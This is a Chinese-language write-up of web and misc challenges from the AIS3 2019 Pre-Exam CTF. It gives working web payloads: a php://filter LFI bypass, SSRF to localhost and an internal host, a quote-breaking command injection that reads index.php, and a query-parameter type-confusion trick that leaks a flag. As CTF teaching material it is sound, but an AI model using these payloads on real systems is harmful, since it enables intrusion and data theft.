AIS3 2019 Pre-Exam 解法
AIS3 Pre-Exam CTF 部分的 Web 和 Misc 題目。今年 pre-exam 跟 MyFirstCTF 合辦,所以題目難度多為中偏易。
Contents
Hidden (Web, 134 Solves)
這題是用 Parcel(類似 webpack 的東西) 打包 Vue.js 原始碼,所以看起來很噁。進去 /main.019417bd.js
搜尋 "flag" 會找到:
...
var e=t(require("./flag.js"))
...
{"./flag.js":"nHHx"}
...
此時可以我們可以推測原始碼有 import flag.js 這個動作。雖然你不知道 parcel 是怎麼包的,你還是心癢搜尋了 "nHHx",然後發現一串看起來超像處理 require 的 code。
...
"nHHx":[function(require,module,exports) {
"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.default=void 0;var r=function(){return function(){var r=Array.prototype.slice.call(arguments),t=r.shift();return r.reverse().map(function(r,e){return String.fromCharCode(r-t-25-e)}).join("")}(12,144,165,95,167,140,95,157,94,164,91,122,111,102)+4..toString(36).toLowerCase()+21..toString(36).toLowerCase().split("").map(function(r){return String.fromCharCode(r.charCodeAt()+-13)}).join("")+1234274547001..toString(36).toLowerCase()+21..toString(36).toLowerCase().split("").map(function(r){return String.fromCharCode(r.charCodeAt()+-13)}).join("")+579..toString(36).toLowerCase()+function(){var r=Array.prototype.slice.call(arguments),t=r.shift();return r.reverse().map(function(r,e){return String.fromCharCode(r-t-44-e)}).join("")}(18,190,127,170,113)};exports.default=r;
},{}],"Js2s":[function(require,module,exports) {
"use strict";Object.defineProperty(exports,
...
仔細看會發現最後面有 export.defaults = r
,所以我們把 r
拿出來執行看看:
var r = function () {
return function () {
var r = Array.prototype.slice.call(arguments),
t = r.shift();
return r.reverse().map(function (r, e) {
return String.fromCharCode(r - t - 25 - e)
}).join("")
}(12, 144, 165, 95, 167, 140, 95, 157, 94, 164, 91, 122, 111, 102) + 4..toString(36).toLowerCase() + 21..toString(36).toLowerCase().split("").map(function (r) { return String.fromCharCode(r.charCodeAt() + -13) }).join("") + 1234274547001..toString(36).toLowerCase() + 21..toString(36).toLowerCase().split("").map(function (r) { return String.fromCharCode(r.charCodeAt() + -13) }).join("") + 579..toString(36).toLowerCase() + function () { var r = Array.prototype.slice.call(arguments), t = r.shift(); return r.reverse().map(function (r, e) { return String.fromCharCode(r - t - 44 - e) }).join("") }(18, 190, 127, 170, 113)
}
console.log(r());
// AIS3{4r3_y0u_4_fr0n73nd_g33k?}
d1v1n6 (Web, 115 Solves)
首先,?path=hint.txt
是在提示有 LFI 漏洞可以用,所以正常來說會想讀 index.php
來看。
/?path=index.php
但是因為有擋關鍵字 "flag",所以要用 PHP filter 繞過(base64 或 rot13 都可):
/?path=php://filter/convert.base64-encode/resource=index.php
成功的話會拿到原始碼:
<?php
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
// show path of the flag
die($_ENV['FLAG_HINT']);
}
if ($path = @$_GET['path']) {
$path = trim($path);
if (preg_match('/https?:\/\/([^s\/]+)/i', $path, $g)) {
// resolve ip address
$ip = gethostbyname($g[1]);
// no local request
if ($ip == '127.0.0.1' || $ip == '0.0.0.0')
die('Do not request to localhost!');
}
// no flag in path
$path = preg_replace('/flag/i', '', $path);
if ($content = @file_get_contents($path, FALSE, NULL, 0, 1000)) {
// no flag in content
if (preg_match('/flag/i', $content)) {
die('Detected "flag" in content. Not showing!');
}
die($content);
}
die('No content or failed to get content.');
}
?>
<h2>d1v1n6</h2>
<a href="?path=hint.txt">Hint</a>
這題目標是用 127.0.0.1 對自己做 request 去看 flag 的路徑。(注意:這裡常見的 X-Forwarded-For
是沒屁用的)
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
// show path of the flag
die($_ENV['FLAG_HINT']);
}
但是這題出壞了,下面這行多了一個 s
,所以好像有人用 localhost
就可以過。G_G
if (preg_match('/https?:\/\/([^s\/]+)/i', $path, $g)) {
原本應該是這樣:
if (preg_match('/https?:\/\/([^\/]+)/i', $path, $g)) {
原本的考點是利用 127.0.0.0/8
或者 redirect。
/?path=php://filter/convert.base64-encode/resource=http://127.87.87.87/
也可以塞大便到 hostname,然而 request 還是照樣能成功。
/?path=php://filter/convert.base64-encode/resource=http://@127.0.0.1
d1v1n6 d33p3r (Web, 16 Solves)
拿到上一題的 flag 之後會順便給 hint:
^`. o
^_ \ \ o o
\ \ { \ o
{ \ / `~~~--__
{ \___----~~' `~~-_ ______ _____
\ /// a `~._(_||___)________/___
/ /~~~~-, ,__. , /// __,,,,) o ______/ \
\/ \/ `~~~; ,---~~-_`~= \ \------o-' \
/ / / /
'._.' _/_/
';|\
Your flag:
AIS3{600d_j0b_bu7_7h15_15_n07_7h3_3nd}
Hints for d1v1n6 d33p3r:
- Find the other web server in the internal network.
- Scanning is forbidden and not necessary.
目標是要找到內網的另一台主機,看到這個可能會很想執行 ifconfig
看網卡資訊,但 Linux 有很多特殊檔案可以直接讀。例如可以讀 /proc/net/fib_trie
:
Main:
+-- 0.0.0.0/0 3 0 5
|-- 0.0.0.0
/0 universe UNICAST
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/32 link BROADCAST
/8 host LOCAL
|-- 127.0.0.1 <--- 這是本機
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
+-- 172.19.0.0/16 2 0 2
+-- 172.19.0.0/30 2 0 2
|-- 172.19.0.0
/32 link BROADCAST
/16 link UNICAST
|-- 172.19.0.3 <--- 這是本機
/32 host LOCAL
|-- 172.19.255.255
/32 link BROADCAST
你會看到一堆網段,照直覺試了上一題主機附近的 IP 很容易就會找到 d1v1n6 d33p3r 主機的 IP。這個範例是 172.19.0.2
(可能跟比賽時不一樣)。
找到主機之後,是一個可以列出目錄的網頁,看他的 output 就知道絕對是 command injection 的洞。如果你 inject 不出來其實是因為參數有加單引號。Flag 在 index.php 裡面,後面參數記得要 URL encode 兩次。
/?path=http://172.19.0.2?dir=.';cat%2520index.php;'
會回傳
<h2>Directory Lister</h2>
<p>Let's hack my stupid webpage for d1v1n6 d33p3r</p>
<form>
<input type="text" name="dir" value="./">
<input type="submit" value="List!">
</form>
<pre>Output:
total 12
dr-xr-xr-x 1 www-data www-data 4096 May 28 06:09 .
drwxr-xr-x 1 root root 4096 May 8 02:30 ..
-rw-r--r-- 1 root root 344 May 23 21:21 index.php
<h2>Directory Lister</h2>
<p>Let's hack my stupid webpage for d1v1n6 d33p3r</p>
<form>
<input type="text" name="dir" value="./">
<input type="submit" value="List!">
</form>
<?php if ($dir = @$_GET['dir']): ?>
<pre>Output:
<?= shell_exec("ls -al '$dir'") ?>
</pre>
<?php endif; exit; ?>
AIS3{y0u_4r3_4bl3_70_d1v3_d33p3r_n3x7_71m3}
</pre>
tokeeeeen (Web, 6 Solves)
這題首先要看 package.json,裡面有 server 原始碼位置,在 server.js:
const FLAG = process.env.FLAG;
const HOST = process.env.HOST;
const PORT = process.env.PORT;
let express = require('express');
let morgan = require('morgan');
let app = express();
app.use(morgan(':remote-addr :method :url')); // logging
app.use('/', express.static('./'));
class TokenError extends Error {}
app.get('/flag', (req, res) => {
try {
let token = req.query.token;
if (!token)
throw new TokenError('Not provided.');
if (token.length > 32)
throw new TokenError(`Bro, ${token.length} is too long!`);
if (0 < token.length < 16)
throw new TokenError('No, please.');
} catch (e) {
if (e instanceof TokenError) {
res.send(e.message);
return;
}
}
res.send(FLAG);
});
app.listen(PORT, HOST);
- try 裡面的最後一個 if 的條件其實永遠是 true,因為 JavaScript 會把它當成
(0 < token.length) < 16
。 - 要想辦法在拋出 TokenError 之前拋出其他 Error,這樣才不會被 catch 裡面的 if 抓到。
- 事實上你可以把 token 塞成奇怪的東西,例如
?token[length]=xxx
可以讓 token 變成{length: "xxx"}
這個 object,從回傳的錯誤訊息中就可以發現這件事情。 - 也可以把
token.length
塞成 object,例如?token[length][x]=x
會讓 token 變成{length: {x: "x"}}
。
所以就塞 token[length][toString]=xxx
把 token.length.toString
搞成不能 call 的東西,以下這行就會爆:
// ...
if (token.length > 32) // <------- 注意!是這行喔!
throw new TokenError(`Bro, ${token.length} is too long!`);
// ...
錯誤為:
TypeError: Cannot convert object to primitive value
好啦,對不起,這題有點深奧。來扯一下 JavaScript 底層好了。從 high-level 的角度來看,object 和 number 比較的時候,為了讓不知道是三小的 object 能夠和 primitive type 有個比較基準,會先把 object 轉成 primitive type,簡略來說會有以下流程:
- if
object.valueOf
is callable and its return value is a primitive type, use the return value. - else if
object.toString
is callable and its return value is a primitive type, use the return value. - else throw
TypeError
以上其實是黑箱出來的。根本沒人想去理解怪異的 JavaScript,誰用一個語言會有空去讀它的規格?
- 12.9.3 Runtime Semantics: Evaluation
定義了比較如何進行,可以看到大於運算子是在 GetValue 之後使用 Abstract Relational Comparison 來計算結果。 - 7.2.11 Abstract Relational Comparison
說明了比較式兩邊的值都會被 ToPrimitive,要用 ToPrimitive 的結果來進行一系列比較。例如若 ToPrimitive 回傳兩個字串,會去看右邊是不是左邊的 prefix,'ab' > 'a'
的結果為何就是定義在這裡。不過重點還是 ToPrimitive,因為比較任何東西都會用 ToPrimitive 轉成 primitive type。 - 7.1.1 ToPrimitive ( input [, PreferredType] )
我們可以直接看表格下面 Object 的部分,首先它會看 object 有沒有 Symbol.toPrimitive 成員函數,如果有的話就拿回傳值來用,假設回傳值不是 primitive type 就噴錯。如果沒有 Symbol.toPrimitive 會使用 OrdinaryToPrimitive 過程判斷的結果。OrdinaryToPrimitive 照順序會呼叫valueOf()
和toString()
假設能 call 而且回傳值不是 Object 就使用它,如果最後拿不到 primitive type 的話會噴TypeError
。 - 本題因為
valueOf()
的回傳值是{}
而且toString()
不能 call 所以丟出TypeError
。
附上 Node.js 的實作:
突然沒有這麼討厭 JavaScript 了
弄出 Error 之後他就會吐 flag 給你
AIS3{1_d0n7_w4n7_70_wr173_j4v45cr1p7_4nym0r3}
Crystal Maze (Misc, 152 Solves)
就真的隨便寫個 DFS 找出口,如果你念資訊相關的還寫不出來真的要打屁股了啦。
import sys, time
from firstblood.all import *
HOST = sys.argv[1]
PORT = int(sys.argv[2])
def test(path):
t = time.time()
c = uio.tcp(HOST, PORT).lines([move + '\n' for move in path])
result = [c.readline() for _ in range(2 + len(path))][-1].strip().split()[1]
print(time.time() - t)
if result == 'ok':
return True
elif result not in ('timeout', 'wall'):
print(result)
sys.exit()
return False
moves = {
'up': lambda x, y: (x, y + 1),
'right': lambda x, y: (x + 1, y),
'down': lambda x, y: (x, y - 1),
'left': lambda x, y: (x - 1, y),
}
def dfs(path=[], visited=[(0, 0)]):
pos = visited[-1]
for move, move_func in moves.items():
pos_ = move_func(*pos)
if pos_ not in visited:
path_ = path + [move]
if test(path_):
dfs(path_, visited + [pos_])
dfs()
加起來不到十秒就出來了
AIS3{4R3_Y0U_RUNN1NG_45_F45T_45_CRY5T4L?}
看過一些人的腳本,那些會 timeout 的都是沒有把所有 input 一起送出去,而是每一步都等 server 吐東西回來再送。經過測試就算跳 VPN 或用 SSH tunnel 每次走都能在一秒內跑完。難道真的有人的 VPN 在非洲或者連 tor 來解嗎,哈哈。那些走不出來的應該是忘記考慮不能走走過的地方?如果你真的是網路慢,我只能說遺憾了,因為比賽途中也沒辦法幫你看是不是你 IO 寫得不夠快。
Mind Reading (Misc, 21 Solves)
這題把 flag 拿去練 classifier。其實去年 DEF CON CTF Qualifier 有類似的題目,不過更噁心,是丟圖片進去的。
看題目 code 的最後面會發現有個 flag_score()
是計算 input 有多像 flag。怕有人不會用 keras 或者不熟 numpy,所以把很多東西都寫好了,甚至直接 import 題目腳本就可以。
#!/usr/bin/env python3
import numpy as np
import random
from model import chars, load_model
model = load_model('model.h5')
n = model.layers[0].input_length # flag length
k = len(chars)
def mutate(seq, m=1):
seq = seq.copy()
for i, j in zip(np.random.randint(n, size=m), np.random.randint(k, size=m)):
seq[i] = j
return seq
best_seq = np.random.randint(k, size=n)
while True:
candidates = np.stack([mutate(best_seq, 1) for _ in range(4096)])
scores = model.predict(candidates).reshape(-1)
best_idx = scores.argmax()
best_seq = candidates[best_idx]
best_score = scores[best_idx]
print(''.join(map(chars.__getitem__, best_seq)), best_score)
if best_score == 1.0:
break
大概跑個幾秒就出來了
AIS3{YOU_REALLY_DID_A_GOOD_JOB}
這個腳本就是每次稍微隨便改一下目前的 input,生一堆有點差異的 input 出來,選分數高的,一直選到最後就會越來越像 flag。有個地方要注意,就是即使 score 等於 1 也不代表 input 就是 flag,不過 score 等於 1 的時候已經夠你猜出 flag 裡面是什麼單字了。去年 DEF CON CTF Qualifier 我們還是用字典爆破法才猜到 flag。
懶得試只靠梯度能不能解,不過應該也是可以,如果能的話就是把 input 變成 trainable,原本的層都固定,拿去梯度遞減就好了。